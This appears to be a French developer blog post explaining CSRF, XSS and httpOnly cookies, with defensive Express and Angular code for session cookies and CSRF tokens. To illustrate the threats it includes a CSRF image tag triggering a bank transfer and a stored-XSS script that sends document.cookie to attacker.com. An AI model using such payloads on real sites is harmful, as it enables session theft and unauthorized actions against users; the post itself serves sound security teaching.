← Retour au blog
sécuritéCSRFXSScookiesAngular

CSRF, XSS et httpOnly cookies : la trinité de la sécurité web moderne

Les failles de sécurité liées aux sessions, aux cookies et aux injections de code restent parmi les plus exploitées en 2026. Contrairement à une idée reçue, ces vulnérabilités ne disparaissent pas avec les frameworks modernes : elles évoluent. Angular, React, Vue.js ou tout autre framework côté client ne vous protègent pas magiquement contre CSRF (Cross-Site Request Forgery) ou XSS (Cross-Site Scripting). C'est au contraire sur le serveur que se jouent les vrais enjeux de sécurité, et c'est là que les développeurs font souvent preuve de naïveté. Cet article vous expose les trois piliers d'une stratégie défensive : comprendre le problème, implémenter les parades, et surtout éviter les faux-semblants de sécurité.

Comprendre CSRF : quand votre navigateur devient une arme

CSRF est une attaque où un tiers malveillant force votre navigateur à effectuer une action non consentie sur un site où vous êtes connecté. Imaginez : vous êtes identifié sur votre compte bancaire. Dans un nouvel onglet, vous visitez un site malveillant qui contient une simple balise <img src="https://bank.com/transfer?amount=10000&to=attacker"> . Votre navigateur exécute cette requête GET automatiquement, en envoyant vos cookies de session. La transaction se fait, et vous ne le saurez peut-être jamais. Pourquoi ? Parce que les cookies sont envoyés automatiquement par le navigateur pour toute requête vers le domaine cible, peu importe d'où elle vient.

La défense standard contre CSRF s'appelle le *CSRF token* ou *token anti-CSRF*. Le principe est simple : pour toute action sensible (POST, PUT, DELETE), le serveur génère un jeton unique, opaque et imprévisible, qu'il envoie au client. Le client doit inclure ce jeton dans l'en-tête HTTP X-CSRF-Token ou dans le corps de la requête. Puisque le site malveillant ne peut pas lire ce jeton (à cause de la Same-Origin Policy), il ne peut pas forger une requête valide. Les frameworks modernes comme Django, Rails ou Laravel incluent cette protection par défaut. Côté Angular, vous devez implémenter cela manuellement ou via une interceptor HTTP.

XSS : l'injection de code qui s'exécute dans le navigateur de vos utilisateurs

XSS se divise en trois catégories. Le XSS stocké (stored) est le plus dangereux : un attaquant injecte du code malveillant dans votre base de données via un formulaire. Chaque utilisateur qui consulte cette donnée exécute le code. Un exemple classique : un champ de commentaire qui n'échappe pas les balises HTML. L'attaquant écrit <script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script> . Quand d'autres utilisateurs lisent le commentaire, le script vole leurs cookies. Le XSS réfléchi (reflected) nécessite un lien malveillant : https://votre-app.com/search?q=<script>...</script> . Si le serveur renvoie la valeur de q sans échappement dans le HTML, le script s'exécute. Le XSS basé sur le DOM (DOM-based) survient quand le code client lit une donnée non fiable et la place directement dans le DOM sans validation.

La prévention du XSS passe d'abord par l'échappement (escaping). Chaque donnée utilisateur doit être échappée selon le contexte : HTML, JavaScript, URL, CSS. En Angular, c'est transparent : la template engine échappe automatiquement les interpolations {{ data }} . Mais dès que vous utilisez [innerHTML] ou bypassSecurityTrustHtml() , vous contournez cette protection. Exemple dangereux : <div [innerHTML]="userComment"></div> si userComment contient du code malveillant. Angular le marquera même avec une erreur de sécurité. Vous pouvez aussi implémenter une Content Security Policy (CSP) qui empêche l'exécution de scripts non autorisés, même injectés.

httpOnly cookies : la barrière invisible contre XSS

Un cookie marqué httpOnly est invisible au JavaScript côté client. Le navigateur l'envoie automatiquement avec chaque requête HTTP, mais document.cookie ne peut pas le lire. C'est crucial pour les tokens de session. Si votre cookie de session est accessible en JavaScript ( httpOnly: false ), n'importe quel XSS peut le voler. Avec httpOnly: true , même un XSS réussi ne peut pas accéder au token. Le serveur doit définir le cookie lors de l'authentification : Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict . Le flag Secure garantit qu'il n'est envoyé que via HTTPS. Le flag SameSite ajoute une couche anti-CSRF.

Le flag SameSite mérite une attention particulière. Avec SameSite=Strict , le cookie n'est envoyé que si la requête provient du même site. Cela casse les formulaires de navigation classiques (un lien externe vers votre app ne porte pas le cookie), donc SameSite=Lax est souvent préféré. Avec Lax , le cookie est envoyé pour les requêtes GET de navigation (liens, redirections), mais pas pour les POST cross-site. C'est un bon compromis. SameSite=None désactive la protection, utile uniquement si votre API est appelée par des tiers (et alors, Secure est obligatoire).

Un exemple concret : implémenter la protection en Angular + Express

Voici un petit serveur Express qui gère l'authentification de manière sécurisée. Au login, il génère un token JWT, le stocke dans un cookie httpOnly, et renvoie un CSRF token dans la réponse JSON. Le client Angular l'utilise pour les requêtes suivantes. Code serveur (simplifié) : app.post('/login', (req, res) => { const sessionId = generateSecureToken(); const csrfToken = generateSecureToken(); res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'lax', maxAge: 3600000 }); res.json({ csrfToken }); }); . Côté Angular, une interceptor ajoute le CSRF token à chaque requête : intercept(req, next) { const token = sessionStorage.getItem('csrfToken'); if (token && req.method !== 'GET') { req = req.clone({ setHeaders: { 'X-CSRF-Token': token } }); } return next.handle(req); } . Le serveur valide le token avant d'exécuter l'action.

Le piège courant : confondre sécurité client et sécurité serveur

Beaucoup de développeurs pensent que valider les données côté client suffit pour la sécurité. C'est faux. Tout ce qui se passe en JavaScript peut être contourné. Un utilisateur malveillant peut ouvrir la console et envoyer n'importe quelle requête. La validation client est utile pour l'expérience utilisateur (feedback immédiat), mais la sécurité réelle se joue sur le serveur. De même, certains croient que mettre un token dans localStorage suffit. localStorage est accessible à tout JavaScript, y compris XSS. Un token dans un httpOnly cookie est toujours mieux. Enfin, ignorer CSRF en pensant que les formulaires GET sont sans risque est dangereux : les attaques CSRF fonctionnent aussi sur les GET pour les actions sensibles (bien que POST soit la norme).

Conclusion : une défense en profondeur

La sécurité web n'est pas une case à cocher. CSRF, XSS et la gestion des cookies sont les fondations. Implémentez les CSRF tokens systématiquement pour les mutations (POST, PUT, DELETE). Échappez toutes les données utilisateur dans vos templates, et utilisez la CSP pour une couche supplémentaire. Stockez les tokens de session dans des cookies httpOnly avec les flags Secure et SameSite appropriés. En Angular, faites confiance à la template engine pour l'échappement, et utilisez des interceptors HTTP pour injecter les tokens automatiquement. Testez vos défenses : des outils comme OWASP ZAP simulent des attaques courantes. Enfin, restez vigilant : les bonnes pratiques évoluent, et une faille aujourd'hui ignorée sera exploitée demain. La sécurité est un processus continu, pas une destination.

Développeur Angular & Mobile freelance — Strasbourg.

© 2026 Emilien Pons — Tous droits réservés.Conçu avec Angular, PrimeNG et ❤️